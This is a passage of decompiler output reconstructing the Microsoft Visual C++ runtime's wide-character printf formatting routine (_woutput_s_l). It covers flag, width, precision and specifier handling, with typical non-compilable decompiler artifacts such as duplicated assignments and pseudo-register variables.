							__eflags =  *(_t674 - 0x4a8) |  *(_t674 - 0x4a4);
							if(( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
								 *(_t674 - 0x1c) = 0;
							}
							 *((intOrPtr*)(_t674 - 4)) = _t674 - 0x249;
							while(1) {
								L178:
								_t631 =  *(_t674 - 0x30) - 1;
								 *(_t674 - 0x30) =  *(_t674 - 0x30) - 1;
								__eflags =  *(_t674 - 0x30);
								if( *(_t674 - 0x30) > 0) {
									goto L180;
								}
								L179:
								__eflags =  *(_t674 - 0x4a8) |  *(_t674 - 0x4a4);
								if(( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
									L183:
									 *(_t674 - 0x24) = _t674 - 0x249 -  *((intOrPtr*)(_t674 - 4));
									 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) + 1;
									__eflags =  *(_t674 - 0x10) & 0x00000200;
									if(( *(_t674 - 0x10) & 0x00000200) == 0) {
										while(1) {
											L187:
											__eflags =  *(_t674 - 0x28);
											if( *(_t674 - 0x28) != 0) {
												goto L212;
											}
											L188:
											__eflags =  *(_t674 - 0x10) & 0x00000040;
											if(( *(_t674 - 0x10) & 0x00000040) != 0) {
												__eflags =  *(_t674 - 0x10) & 0x00000100;
												if(( *(_t674 - 0x10) & 0x00000100) == 0) {
													__eflags =  *(_t674 - 0x10) & 0x00000001;
													if(( *(_t674 - 0x10) & 0x00000001) == 0) {
														__eflags =  *(_t674 - 0x10) & 0x00000002;
														if(( *(_t674 - 0x10) & 0x00000002) != 0) {
															 *((short*)(_t674 - 0x14)) = 0x20;
															 *(_t674 - 0x1c) = 1;
														}
													} else {
														 *((short*)(_t674 - 0x14)) = 0x2b;
														 *(_t674 - 0x1c) = 1;
													}
												} else {
													 *((short*)(_t674 - 0x14)) = 0x2d;
													 *(_t674 - 0x1c) = 1;
												}
											}
											 *((intOrPtr*)(_t674 - 0x4ac)) =  *((intOrPtr*)(_t674 - 0x18)) -  *(_t674 - 0x24) -  *(_t674 - 0x1c);
											__eflags =  *(_t674 - 0x10) & 0x0000000c;
											if(( *(_t674 - 0x10) & 0x0000000c) == 0) {
												E0043C760(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
												_t676 = _t676 + 0x10;
											}
											E0043C7A0( *(_t674 - 0x1c), _t674 - 0x14,  *(_t674 - 0x1c),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
											_t676 = _t676 + 0x10;
											__eflags =  *(_t674 - 0x10) & 0x00000008;
											if(( *(_t674 - 0x10) & 0x00000008) != 0) {
												__eflags =  *(_t674 - 0x10) & 0x00000004;
												if(( *(_t674 - 0x10) & 0x00000004) == 0) {
													E0043C760(0x30,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
													_t676 = _t676 + 0x10;
												}
											}
											__eflags =  *(_t674 - 0xc);
											if( *(_t674 - 0xc) != 0) {
												L208:
												E0043C7A0( *(_t674 - 0x24),  *((intOrPtr*)(_t674 - 4)),  *(_t674 - 0x24),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
												_t676 = _t676 + 0x10;
												goto L209;
											} else {
												L201:
												__eflags =  *(_t674 - 0x24);
												if( *(_t674 - 0x24) <= 0) {
													goto L208;
												}
												L202:
												 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 4));
												 *(_t674 - 0x4b4) =  *(_t674 - 0x24);
												while(1) {
													L203:
													 *(_t674 - 0x4b4) =  *(_t674 - 0x4b4) - 1;
													__eflags =  *(_t674 - 0x4b4);
													if( *(_t674 - 0x4b4) <= 0) {
														break;
													}
													L204:
													_t535 = E0041AAD0(_t674 - 0x40);
													_t539 = E0043B200(_t674 - 0x458,  *((intOrPtr*)(_t674 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E0041AAD0(_t674 - 0x40))) + 0xac)), _t535);
													_t676 = _t676 + 0x10;
													 *(_t674 - 0x4b8) = _t539;
													__eflags =  *(_t674 - 0x4b8);
													if( *(_t674 - 0x4b8) > 0) {
														L206:
														E0043C700( *(_t674 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
														_t676 = _t676 + 0xc;
														 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 0x4b0)) +  *(_t674 - 0x4b8);
														continue;
													}
													L205:
													 *(_t674 - 0x44c) = 0xffffffff;
													break;
												}
												L207:
												L209:
												__eflags =  *(_t674 - 0x44c);
												if( *(_t674 - 0x44c) >= 0) {
													__eflags =  *(_t674 - 0x10) & 0x00000004;
													if(( *(_t674 - 0x10) & 0x00000004) != 0) {
														E0043C760(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
														_t676 = _t676 + 0x10;
													}
												}
											}
											L212:
											__eflags =  *(_t674 - 0x20);
											if( *(_t674 - 0x20) != 0) {
												L0041C1C0( *(_t674 - 0x20), 2);
												_t676 = _t676 + 8;
												 *(_t674 - 0x20) = 0;
											}
											while(1) {
												L214:
												 *(_t674 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t674 + 0xc))));
												_t580 =  *(_t674 - 0x454) & 0x0000ffff;
												 *((intOrPtr*)(_t674 + 0xc)) =  *((intOrPtr*)(_t674 + 0xc)) + 2;
												if(( *(_t674 - 0x454) & 0x0000ffff) == 0 ||  *(_t674 - 0x44c) < 0) {
													break;
												} else {
													if(( *(_t674 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t674 - 0x454) & 0x0000ffff) > 0x78) {
														 *(_t674 - 0x4d8) = 0;
													} else {
														 *(_t674 - 0x4d8) =  *(( *(_t674 - 0x454) & 0x0000ffff) +  &M00407DE8) & 0xf;
													}
												}
												L7:
												 *(_t674 - 0x450) =  *(_t674 - 0x4d8);
												_t644 =  *(_t674 - 0x450) * 9;
												_t509 =  *(_t674 - 0x45c);
												_t588 = ( *(_t644 + _t509 + 0x407e08) & 0x000000ff) >> 4;
												 *(_t674 - 0x45c) = ( *(_t644 + _t509 + 0x407e08) & 0x000000ff) >> 4;
												if( *(_t674 - 0x45c) != 8) {
													L16:
													 *(_t674 - 0x4e0) =  *(_t674 - 0x45c);
													__eflags =  *(_t674 - 0x4e0) - 7;
													if( *(_t674 - 0x4e0) > 7) {
														continue;
													}
													L17:
													switch( *((intOrPtr*)( *(_t674 - 0x4e0) * 4 +  &M0043C5F4))) {
														case 0:
															L18:
															 *(_t674 - 0xc) = 1;
															E0043C700( *(_t674 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
															_t676 = _t676 + 0xc;
															goto L214;
														case 1:
															L19:
															 *(__ebp - 0x2c) = 0;
															__ecx =  *(__ebp - 0x2c);
															 *(__ebp - 0x28) = __ecx;
															__edx =  *(__ebp - 0x28);
															 *(__ebp - 0x18) =  *(__ebp - 0x28);
															__eax =  *(__ebp - 0x18);
															 *(__ebp - 0x1c) =  *(__ebp - 0x18);
															 *(__ebp - 0x10) = 0;
															 *(__ebp - 0x30) = 0xffffffff;
															 *(__ebp - 0xc) = 0;
															goto L214;
														case 2:
															L20:
															__ecx =  *(__ebp - 0x454) & 0x0000ffff;
															 *(__ebp - 0x4e4) = __ecx;
															 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
															 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
															__eflags =  *(__ebp - 0x4e4) - 0x10;
															if( *(__ebp - 0x4e4) > 0x10) {
																goto L27;
															}
															L21:
															_t58 =  *(__ebp - 0x4e4) + 0x43c62c; // 0x498d04
															__ecx =  *_t58 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M0043C614))) {
																case 0:
																	goto L24;
																case 1:
																	goto L25;
																case 2:
																	goto L23;
																case 3:
																	goto L22;
																case 4:
																	goto L26;
																case 5:
																	goto L27;
															}
														case 3:
															L28:
															__ecx =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
															if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																__edx =  *(__ebp - 0x18);
																__edx =  *(__ebp - 0x18) * 0xa;
																__eflags = __edx;
																_t82 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																__ecx = __edx + _t82;
																 *(__ebp - 0x18) = __ecx;
															} else {
																__edx = __ebp + 0x14;
																 *(__ebp - 0x18) = E00428150(__ebp + 0x14);
																__eflags =  *(__ebp - 0x18);
																if( *(__ebp - 0x18) < 0) {
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000004;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	__ecx =  *(__ebp - 0x18);
																	__ecx =  ~( *(__ebp - 0x18));
																	 *(__ebp - 0x18) = __ecx;
																}
															}
															L33:
															goto L214;
														case 4:
															L34:
															 *(__ebp - 0x30) = 0;
															goto L214;
														case 5:
															L35:
															__edx =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
															if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																__ecx =  *(__ebp - 0x30);
																__ecx =  *(__ebp - 0x30) * 0xa;
																__eflags = __ecx;
																_t93 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																__eax = __ecx + _t93;
																 *(__ebp - 0x30) = __ecx + _t93;
															} else {
																__eax = __ebp + 0x14;
																 *(__ebp - 0x30) = E00428150(__ebp + 0x14);
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) < 0) {
																	 *(__ebp - 0x30) = 0xffffffff;
																}
															}
															goto L214;
														case 6:
															L41:
															__ecx =  *(__ebp - 0x454) & 0x0000ffff;
															 *(__ebp - 0x4e8) = __ecx;
															 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
															 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
															__eflags =  *(__ebp - 0x4e8) - 0x2e;
															if( *(__ebp - 0x4e8) > 0x2e) {
																L64:
																goto L214;
															}
															L42:
															_t101 =  *(__ebp - 0x4e8) + 0x43c654; // 0xbe619003
															__ecx =  *_t101 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M0043C640))) {
																case 0:
																	L47:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																	__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																	if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																		L50:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																			L53:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx & 0x0000ffff;
																			__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																			if(( *__ecx & 0x0000ffff) == 0x64) {
																				L59:
																				L61:
																				goto L64;
																			}
																			L54:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = __ecx - 0x69;
																			if(__ecx == 0x69) {
																				goto L59;
																			}
																			L55:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																				goto L59;
																			}
																			L56:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx & 0x0000ffff;
																			__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																			if(( *__ecx & 0x0000ffff) == 0x75) {
																				goto L59;
																			}
																			L57:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = __ecx - 0x78;
																			if(__ecx == 0x78) {
																				goto L59;
																			}
																			L58:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																				 *(__ebp - 0x45c) = 0;
																				goto L18;
																			}
																			goto L59;
																		}
																		L51:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																		__eflags = __ecx - 0x32;
																		if(__ecx != 0x32) {
																			goto L53;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																			goto L61;
																		}
																	}
																	L48:
																	__eax =  *(__ebp + 0xc);
																	__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																	__eflags = __ecx - 0x34;
																	if(__ecx != 0x34) {
																		goto L50;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																		goto L61;
																	}
																case 1:
																	L62:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000020;
																	 *(__ebp - 0x10) = __ecx;
																	goto L64;
																case 2:
																	L43:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																	__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																	if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000010;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																	} else {
																		__ecx =  *(__ebp + 0xc);
																		__ecx =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) = __ecx;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	}
																	goto L64;
																case 3:
																	L63:
																	__edx =  *(__ebp - 0x10);
																	__edx =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __edx;
																	 *(__ebp - 0x10) = __edx;
																	goto L64;
																case 4:
																	goto L64;
															}
														case 7:
															L65:
															__eax =  *(__ebp - 0x454) & 0x0000ffff;
															 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
															__ecx =  *(__ebp - 0x4ec);
															__ecx =  *(__ebp - 0x4ec) - 0x41;
															 *(__ebp - 0x4ec) = __ecx;
															__eflags =  *(__ebp - 0x4ec) - 0x37;
															if( *(__ebp - 0x4ec) > 0x37) {
																while(1) {
																	L187:
																	__eflags =  *(_t674 - 0x28);
																	if( *(_t674 - 0x28) != 0) {
																		goto L212;
																	}
																	goto L188;
																}
															}
															L66:
															_t142 =  *(__ebp - 0x4ec) + 0x43c6c0; // 0xcccccc0d
															__eax =  *_t142 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t142 & 0x000000ff) * 4 +  &M0043C684))) {
																case 0:
																	L120:
																	 *(__ebp - 0x2c) = 1;
																	 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																	 *(__ebp - 0x454) = __ax;
																	goto L121;
																case 1:
																	L67:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__edx =  *(__ebp - 0x10);
																		__edx =  *(__ebp - 0x10) | 0x00000020;
																		__eflags = __edx;
																		 *(__ebp - 0x10) = __edx;
																	}
																	goto L69;
																case 2:
																	L82:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000020;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	}
																	goto L84;
																case 3:
																	L144:
																	 *(__ebp - 0x460) = 7;
																	goto L146;
																case 4:
																	L75:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x474) = E00428150(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x474);
																	if( *(__ebp - 0x474) == 0) {
																		L77:
																		__edx =  *0x440f80; // 0x404448
																		 *(__ebp - 4) = __edx;
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E0041DAA0( *(__ebp - 4));
																		L81:
																		goto L187;
																	}
																	L76:
																	__ecx =  *(__ebp - 0x474);
																	__eflags =  *(__ecx + 4);
																	if( *(__ecx + 4) != 0) {
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																		__eflags =  *(__ebp - 0x10) & 0x00000800;
																		if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																			 *(__ebp - 0xc) = 0;
																			__edx =  *(__ebp - 0x474);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x474);
																			__edx =  *__ecx;
																			 *(__ebp - 0x24) =  *__ecx;
																		} else {
																			__edx =  *(__ebp - 0x474);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x474);
																			__eax =  *__ecx;
																			asm("cdq");
																			 *__ecx - __edx =  *__ecx - __edx >> 1;
																			 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																			 *(__ebp - 0xc) = 1;
																		}
																		goto L81;
																	}
																	goto L77;
																case 5:
																	L121:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	__edx = __ebp - 0x448;
																	 *(__ebp - 4) = __ebp - 0x448;
																	 *(__ebp - 0x44) = 0x200;
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) >= 0) {
																		L123:
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) != 0) {
																			L126:
																			__eflags =  *(__ebp - 0x30) - 0x200;
																			if( *(__ebp - 0x30) > 0x200) {
																				 *(__ebp - 0x30) = 0x200;
																			}
																			L128:
																			__eflags =  *(__ebp - 0x30) - 0xa3;
																			if( *(__ebp - 0x30) > 0xa3) {
																				__ecx =  *(__ebp - 0x30);
																				__ecx =  *(__ebp - 0x30) + 0x15d;
																				 *(__ebp - 0x20) = L0041B540( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																				__eflags =  *(__ebp - 0x20);
																				if( *(__ebp - 0x20) == 0) {
																					 *(__ebp - 0x30) = 0xa3;
																				} else {
																					__edx =  *(__ebp - 0x20);
																					 *(__ebp - 4) =  *(__ebp - 0x20);
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																				}
																			}
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			__edx =  *(__ebp + 0x14);
																			__eax =  *(__edx - 8);
																			__ecx =  *(__edx - 4);
																			 *(__ebp - 0x490) =  *(__edx - 8);
																			 *(__ebp - 0x48c) =  *(__edx - 4);
																			__ecx = __ebp - 0x40;
																			_push(E0041AAD0(__ebp - 0x40));
																			__edx =  *(__ebp - 0x2c);
																			_push( *(__ebp - 0x2c));
																			__eax =  *(__ebp - 0x30);
																			_push( *(__ebp - 0x30));
																			__ecx =  *(__ebp - 0x454);
																			_push( *(__ebp - 0x454));
																			__edx =  *(__ebp - 0x44);
																			_push( *(__ebp - 0x44));
																			__eax =  *(__ebp - 4);
																			_push( *(__ebp - 4));
																			__ecx = __ebp - 0x490;
																			_push(__ebp - 0x490);
																			__edx =  *0x440374; // 0x2c9cf96e
																			E00424340(__edx) =  *__eax();
																			__esp = __esp + 0x1c;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AAD0(__ebp - 0x40));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx =  *0x440380; // 0xac9cf9bd
																					E00424340(__edx) =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__eax =  *(__ebp - 0x454) & 0x0000ffff;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																			if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AAD0(__ebp - 0x40));
																					__edx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__eax =  *0x44037c; // 0xac9cf9c2
																					__eax =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__ecx =  *(__ebp - 4);
																			__edx =  *( *(__ebp - 4));
																			__eflags =  *( *(__ebp - 4)) - 0x2d;
																			if( *( *(__ebp - 4)) == 0x2d) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				__ecx =  *(__ebp - 4);
																				__ecx =  *(__ebp - 4) + 1;
																				__eflags = __ecx;
																				 *(__ebp - 4) = __ecx;
																			}
																			__edx =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DAA0( *(__ebp - 4));
																			do {
																				L187:
																				__eflags =  *(_t674 - 0x28);
																				if( *(_t674 - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			} while ( *(__ebp - 0x4ec) > 0x37);
																			goto L66;
																		}
																		L124:
																		__eax =  *(__ebp - 0x454) & 0x0000ffff;
																		__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																		if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																			goto L126;
																		}
																		L125:
																		 *(__ebp - 0x30) = 1;
																		goto L128;
																	}
																	L122:
																	 *(__ebp - 0x30) = 6;
																	goto L128;
																case 6:
																	L69:
																	 *(__ebp - 0xc) = 1;
																	__ebp + 0x14 = E00428150(__ebp + 0x14);
																	 *(__ebp - 0x458) = __ax;
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) & 0x00000020;
																	__eflags = __ecx;
																	if(__ecx == 0) {
																		 *(__ebp - 0x448) =  *(__ebp - 0x458);
																	} else {
																		 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																		 *(__ebp - 0x470) = __dl;
																		 *((char*)(__ebp - 0x46f)) = 0;
																		__ecx = __ebp - 0x40;
																		__eax = E0041AAD0(__ebp - 0x40);
																		__ecx = __ebp - 0x40;
																		E0041AAD0(__ebp - 0x40) =  *__eax;
																		__ecx =  *(__ebp - 0x448 + 0xac);
																		__edx = __ebp - 0x470;
																		__eax = __ebp - 0x448;
																		__eax = E0043B200(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																		__eflags = __eax;
																		if(__eax < 0) {
																			 *(__ebp - 0x28) = 1;
																		}
																	}
																	__edx = __ebp - 0x448;
																	 *(__ebp - 4) = __ebp - 0x448;
																	 *(__ebp - 0x24) = 1;
																	while(1) {
																		L187:
																		__eflags =  *(_t674 - 0x28);
																		if( *(_t674 - 0x28) != 0) {
																			goto L212;
																		}
																		goto L188;
																	}
																case 7:
																	L141:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *((intOrPtr*)(__ebp - 8)) = 0xa;
																	L150:
																	__eflags =  *(_t674 - 0x10) & 0x00008000;
																	if(( *(_t674 - 0x10) & 0x00008000) == 0) {
																		_t623 =  *(_t674 - 0x10) & 0x00001000;
																		__eflags = _t623;
																		if(_t623 == 0) {
																			__eflags =  *(_t674 - 0x10) & 0x00000020;
																			if(( *(_t674 - 0x10) & 0x00000020) == 0) {
																				_t625 =  *(_t674 - 0x10) & 0x00000040;
																				__eflags = _t625;
																				if(_t625 == 0) {
																					_t483 = E00428150(_t674 + 0x14);
																					_t676 = _t676 + 4;
																					__eflags = 0;
																					 *(_t674 - 0x4a0) = _t483;
																					 *(_t674 - 0x49c) = 0;
																				} else {
																					_t556 = E00428150(_t674 + 0x14);
																					_t676 = _t676 + 4;
																					asm("cdq");
																					 *(_t674 - 0x4a0) = _t556;
																					 *(_t674 - 0x49c) = _t625;
																				}
																			} else {
																				_t671 =  *(_t674 - 0x10) & 0x00000040;
																				__eflags = _t671;
																				if(_t671 == 0) {
																					_t557 = E00428150(_t674 + 0x14);
																					_t676 = _t676 + 4;
																					asm("cdq");
																					 *(_t674 - 0x4a0) = _t557 & 0x0000ffff;
																					 *(_t674 - 0x49c) = _t671;
																				} else {
																					_t560 = E00428150(_t674 + 0x14);
																					_t676 = _t676 + 4;
																					asm("cdq");
																					 *(_t674 - 0x4a0) = _t560;
																					 *(_t674 - 0x49c) = _t671;
																				}
																			}
																		} else {
																			_t563 = E00428170(_t674 + 0x14);
																			_t676 = _t676 + 4;
																			 *(_t674 - 0x4a0) = _t563;
																			 *(_t674 - 0x49c) = _t623;
																		}
																	} else {
																		_t564 = E00428170(_t674 + 0x14);
																		_t676 = _t676 + 4;
																		 *(_t674 - 0x4a0) = _t564;
																		 *(_t674 - 0x49c) = _t621;
																	}
																	__eflags =  *(_t674 - 0x10) & 0x00000040;
																	if(( *(_t674 - 0x10) & 0x00000040) == 0) {
																		goto L167;
																	}
																case 8:
																	L106:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x484) = E00428150(__ebp + 0x14);
																	__eax = E00433CF0();
																	__eflags = __eax;
																	if(__eax != 0) {
																		L116:
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) & 0x00000020;
																		__eflags = __ecx;
																		if(__ecx == 0) {
																			__ecx =  *(__ebp - 0x484);
																			__edx =  *(__ebp - 0x44c);
																			 *__ecx =  *(__ebp - 0x44c);
																		} else {
																			__edx =  *(__ebp - 0x484);
																			__ax =  *(__ebp - 0x44c);
																			 *( *(__ebp - 0x484)) = __ax;
																		}
																		 *(__ebp - 0x28) = 1;
																		while(1) {
																			L187:
																			__eflags =  *(_t674 - 0x28);
																			if( *(_t674 - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	}
																	L107:
																	__ecx = 0;
																	__eflags = 0;
																	if(0 == 0) {
																		 *(__ebp - 0x4f4) = 0;
																	} else {
																		 *(__ebp - 0x4f4) = 1;
																	}
																	__edx =  *(__ebp - 0x4f4);
																	 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																	__eflags =  *(__ebp - 0x488);
																	if( *(__ebp - 0x488) == 0) {
																		_push(L"(\"\'n\' format specifier disabled\", 0)");
																		_push(0);
																		_push(0x695);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		__eax = L0041E000();
																		__esp = __esp + 0x14;
																		__eflags = __eax - 1;
																		if(__eax == 1) {
																			asm("int3");
																		}
																	}
																	__eflags =  *(__ebp - 0x488);
																	if( *(__ebp - 0x488) != 0) {
																		L115:
																		while(1) {
																			L187:
																			__eflags =  *(_t674 - 0x28);
																			if( *(_t674 - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	} else {
																		L114:
																		 *((intOrPtr*)(L00422AF0(__ecx))) = 0x16;
																		__eax = E00422880(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																		 *(__ebp - 0x4cc) = 0xffffffff;
																		__ecx = __ebp - 0x40;
																		__eax = E0041AAA0(__ecx);
																		__eax =  *(__ebp - 0x4cc);
																		goto L225;
																	}
																case 9:
																	goto L0;
																case 0xa:
																	L143:
																	 *(__ebp - 0x30) = 8;
																	goto L144;
																case 0xb:
																	L84:
																	__eflags =  *(__ebp - 0x30) - 0xffffffff;
																	if( *(__ebp - 0x30) != 0xffffffff) {
																		__edx =  *(__ebp - 0x30);
																		 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																	} else {
																		 *(__ebp - 0x4f0) = 0x7fffffff;
																	}
																	__eax =  *(__ebp - 0x4f0);
